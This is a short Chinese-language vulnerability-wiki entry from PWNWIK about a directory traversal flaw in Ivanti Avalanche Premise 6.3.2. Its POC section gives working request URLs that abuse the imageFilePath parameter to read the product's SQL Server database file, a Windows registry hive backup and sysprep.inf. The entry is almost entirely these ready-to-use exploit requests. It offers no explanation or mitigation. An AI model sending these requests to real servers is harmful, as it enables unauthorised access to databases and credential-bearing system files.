Loading
◆◆0

Ivanti Avalanche 目录遍历漏洞

PWNWIK.COM

,

影响版本

Windows v6.3.2.3490 的 Avalanche Premise 6.3.2

POC

数据库读取：
https://EXAMPLE_IP:8443/AvalancheWeb/image?imageFilePath=C:/Program Files/Microsoft SQL Server/MSSQL11.SQLEXPRESS/MSSQL/DATA/Avalanche.mdf

其它：
https://EXAMPLE_IP:8443/AvalancheWeb/image?imageFilePath=C:/Windows/system32/config/system.sav
https://EXAMPLE_IP:8443/AvalancheWeb/image?imageFilePath=C:/sysprep/sysprep.inf

PWNWIK.COM==免费、自由、人人可编辑的漏洞库